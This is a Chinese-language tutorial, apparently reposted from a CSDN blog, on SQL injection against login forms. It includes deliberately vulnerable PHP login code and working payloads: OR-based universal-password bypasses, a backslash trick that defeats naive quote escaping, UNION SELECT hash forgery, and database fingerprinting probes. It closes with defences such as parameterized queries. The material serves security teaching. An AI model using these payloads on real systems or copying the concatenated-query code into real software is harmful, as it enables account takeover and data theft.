SQL注入属于经典老牌漏洞,很多现代框架与WAF都有原生防护,但它仍是Web安全最核心的底层基石。理解注入的语法、运算符优先级、数据库语法差异、过滤逃逸思路,是读懂高阶注入、二次注入、堆叠注入、盲注、ORM注入绕过的前置基础。本文以登录场景为核心载体,从原理、代码、Payload、陷阱逐个拆解。
在Web应用开发流程中,程序接收前端传入的用户可控数据后,如果直接将输入字符串拼接进SQL语句,交由数据库引擎执行,就会产生SQL注入(SQL Injection)漏洞。 漏洞本质一句话概括:代码与数据边界混淆。开发者本意是把用户输入当作查询数据,但攻击者构造特殊字符,让输入被数据库解析成SQL指令片段,篡改原有查询逻辑。 它不是数据库本身的缺陷,而是业务代码没有隔离“代码逻辑”和“用户输入”导致的逻辑缺陷。登录框万能密码是入门最典型、最容易直观理解注入本质的场景,也是很多过滤绕过、注释、运算符优先级考点的起点。
一、登录框万能密码深入利用
登录模块的标准逻辑:接收用户名、密码,拼接WHERE条件同时匹配两个字段,数据库返回记录即判定登录成功。不同代码实现、不同过滤策略、不同校验顺序,会衍生完全不一样的注入思路,这也是很多初学者容易忽略的地方。
1. 用户名、密码参数均可注入:经典OR万能密码
最原始、最广为人知的场景,后端SQL模板:
SELECT * FROM users WHERE username='$user' AND password='$pass'很多人直接记Payload ' OR '1'='1,但很容易踩坑:SQL运算符优先级 AND > OR,不能简单认为拼接后条件直接恒真。
传入Payload:用户名 ' OR '1'='1,密码任意内容,拼接得到:
SELECT * FROM users WHERE username='' OR '1'='1' AND password='任意内容'按优先级等价转换:
SELECT * FROM users WHERE username='' OR ('1'='1' AND password='任意内容')这里存在一个经典误区:如果只在用户名填
' OR 1=1,很多新手会疑惑为什么有时候不成功,根源就是AND优先级更高。 稳妥写法,保证整体条件恒真: 用户名:' OR '1'='1' --或者:' OR 1=1#
示例漏洞PHP代码(无任何过滤,直接拼接)
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "testdb";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$user = $_POST['username'];
$pass = $_POST['password'];
$sql = "SELECT * FROM users WHERE username='$user' AND password='$pass'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
echo "Login successful!";
} else {
echo "Login failed.";
}
$conn->close();
?>攻击输入:
- 用户名:
' OR '1'='1'# - 密码:随意字符串
Payload逻辑:单引号闭合原有username字段的引号,OR '1'='1'制造永真条件,#注释掉后面剩余的AND password='$pass',彻底规避AND优先级带来的失效问题,是更稳定的写法。
2. 简单单引号替换过滤:反斜杠逃逸注入
开发意识到单引号危险,做了极简防护:直接使用str_replace把'替换成\',试图转义闭合符。
这种防护属于典型的无效防护:转义逻辑本身可控,攻击者可以输入\改变转义行为。
漏洞代码:
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "testdb";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
// 简陋过滤:仅替换单引号为转义单引号
$user = str_replace("'", "\\'", $_POST['username']);
$pass = str_replace("'", "\\'", $_POST['password']);
$sql = "SELECT * FROM users WHERE username='$user' AND password='$pass'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
echo "Login successful!";
} else {
echo "Login failed.";
}
$conn->close();
?>攻击输入:
- 用户名:
\ - 密码:
OR 1=1--
拼接后的SQL:
SELECT * FROM users WHERE username='\' AND password=' OR 1=1--'解析过程拆解:
- 输入的
\被代码替换为\\; - MySQL解析字符串时:
\\代表字面量反斜杠,紧随其后的'不再是被转义的数据,而是语句闭合引号; - 引号成功逃逸,
OR 1=1成为查询条件; --注释末尾多余单引号,保证语法合法。
拓展知识点:这类逃逸依赖数据库的转义规则,MySQL、MSSQL、Oracle转义行为各不相同;同时要区分
addslashes和手写str_replace的差异,addslashes还会转义\0、\r\n,逃逸难度更高。
3. 注入点仅在用户名:先查密码、业务层比对 + UNION联合查询伪造结果
这是一个非常经典的业务逻辑差异场景,很多新手会混淆两种登录实现:
- 方案A:一条SQL同时查username和password,数据库返回即放行(上面的例子)
- 方案B:SQL只根据用户名查询数据库里存储的密码哈希,密码比对放在PHP代码层,拿到数据库哈希之后,再和用户输入密码的MD5结果对比。
方案B的特征:WHERE条件只有username,password不会拼入SQL,密码参数不再存在注入点。 漏洞示例代码:
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "testdb";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$user = $_POST['username'];
$pass = md5($_POST['password']);
// SQL只查询密码字段,密码在代码内对比
$sql = "SELECT password FROM users WHERE username='$user'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ($row['password'] === $pass) {
echo "Login successful!";
} else {
echo "Login failed.";
}
} else {
echo "Login failed.";
}
$conn->close();
?>此时目标:用UNION查询,人为构造一条假的数据库记录,返回我们可控的密码哈希。 Payload:
- 用户名:
-1' UNION SELECT '0cc175b9c0f1b6a831c399e269772661' -- - 密码:
a
拼接SQL:
SELECT password FROM users WHERE username='-1' UNION SELECT '0cc175b9c0f1b6a831c399e269772661' -- '逻辑说明:
-1是不存在的用户名,前面SELECT返回空;- UNION后自定义一条记录,返回预先准备好的MD5值(
a的md5); - PHP取出这个伪造哈希,和输入密码
a的md5比对相等,登录成功。
重点前提:UNION前后列数、数据类型必须匹配,这也是联合注入最核心的前置探测步骤,和盲注、脱库的前置流程一致。
4. 输入长度受限:调用数据库内置函数压缩Payload
部分前端/后端校验用户名最大长度,写死长字符串md5值的Payload会被截断,语法直接报错。 优化思路:把md5计算交给数据库本身执行,减少Payload字符总量。 Payload:
- 用户名:
-1' UNION SELECT MD5('a')-- - 密码:
a
拼接SQL:
SELECT password FROM users WHERE username='-1' UNION SELECT MD5('a')-- '优势:不需要硬编码一长串哈希字符串,Payload更短,适配长度限制场景;同时规避哈希字符串中特殊字符带来的额外过滤问题。
二、快速识别后端数据库类型(注入指纹)
不同数据库SQL语法、注释、特殊字符、内置函数差异巨大,拿到注入点后第一步往往是指纹识别,决定后续Payload的写法。下面是低干扰、适合手工测试的判断手段。
1. 特殊空白/控制字符测试
原理:不同数据库对ASCII不可见控制字符的容忍度不同。 测试请求示例:
?id=1'%0B'拼接SQL:
SELECT * FROM table WHERE id='1'%0B''- MySQL:接受
%0A换行、%0B垂直制表符、%09制表符,语句不会直接语法报错; - Oracle:对
%00、换行敏感,不支持MySQL风格多行注释; - SQL Server(MSSQL):对部分控制字符解析行为和MySQL差异明显。
判定逻辑:如果插入控制字符后页面不返回数据库报错,大概率偏向MySQL。
2. MySQL专属内联注释 /*! ... */ 指纹
/*! 内容 */是MySQL独有语法:注释内部的语句仅MySQL会执行,Oracle、MSSQL、PostgreSQL都会直接当成纯注释忽略。
典型测试Payload:
?id=1 /*!and 1=2*/- 如果页面结果发生变化(查询失效):说明是MySQL;
- 如果页面无变化、和普通注释行为一致:排除MySQL。 这个语法在旧版本WAF绕过中也大量使用。
3. 注释符体系区分
| 数据库 | 单行注释 | 多行注释 | 备注 |
|---|---|---|---|
| MySQL | #、-- (–后面必须带空格/空白) |
/* */ |
支持/*!*/条件注释 |
| MSSQL | -- |
/* */ |
不支持#单行注释 |
| Oracle | -- |
/* */ |
不支持# |
坑点:很多初学者写
--1=1注入失败,MySQL要求--之后必须有空白字符,也就是--,%20或者%09。
三、补充:容易混淆的边界知识点
- 万能密码不是通用:它只适用于字符串型查询、引号可控的场景;数字型注入不需要单引号闭合,思路完全不同;
- 过滤是分层的:前端JS过滤可以直接绕过,只有后端服务层过滤才有意义;
- ORM框架不是天然安全:如果ORM支持字符串拼接、raw SQL,依旧会产生注入(ORM注入);
- 本文的登录注入只是起点:掌握这套边界思维之后,可以延伸到布尔盲注、时间盲注、堆叠注入、二次注入、宽字节注入等分支场景。
四、防御方案
SQL注入的根治方案,核心是分离SQL逻辑和用户数据,不要依靠黑名单替换、正则过滤这类“黑名单防护”(黑名单永远存在逃逸方式)。
- 优先使用预编译参数化查询(PreparedStatement),PHP PDO、Java JDBC、Python pymysql均支持;参数化查询会把输入始终当作数据,不会参与SQL语法解析;
- 最小权限数据库账号:Web业务账号禁止
FILE、高权限读写,就算注入成功,也限制危害范围; - 输入校验采用白名单:对于固定格式参数(id、手机号),用正则限制格式;
- 应用层二次权限校验:不要把鉴权完全交给数据库查询结果;
- 错误信息屏蔽:关闭数据库原生报错回显,防止攻击者获取表名、列名等指纹信息。
五、总结
SQL注入的内核,是数据与代码边界的失控。万能密码、逃逸单引号、UNION伪造返回结果,本质都是在修改SQL的执行分支。 虽然现在成熟框架、WAF、参数化查询让原始拼接注入越来越少见,但它是理解数据库解析顺序、字符转义、注释语法、过滤逃逸最优质的训练样本。很多高级注入漏洞,只是在这个基础模型上增加编码、字符集、框架、中间件的复杂包装。 安全防护不能依赖“过滤危险字符”,从根源上使用参数化查询,隔离输入和SQL指令,才是稳定有效的防护手段。
原文 https://blog.csdn.net/2301_79518550/article/details/146105392
跳到内容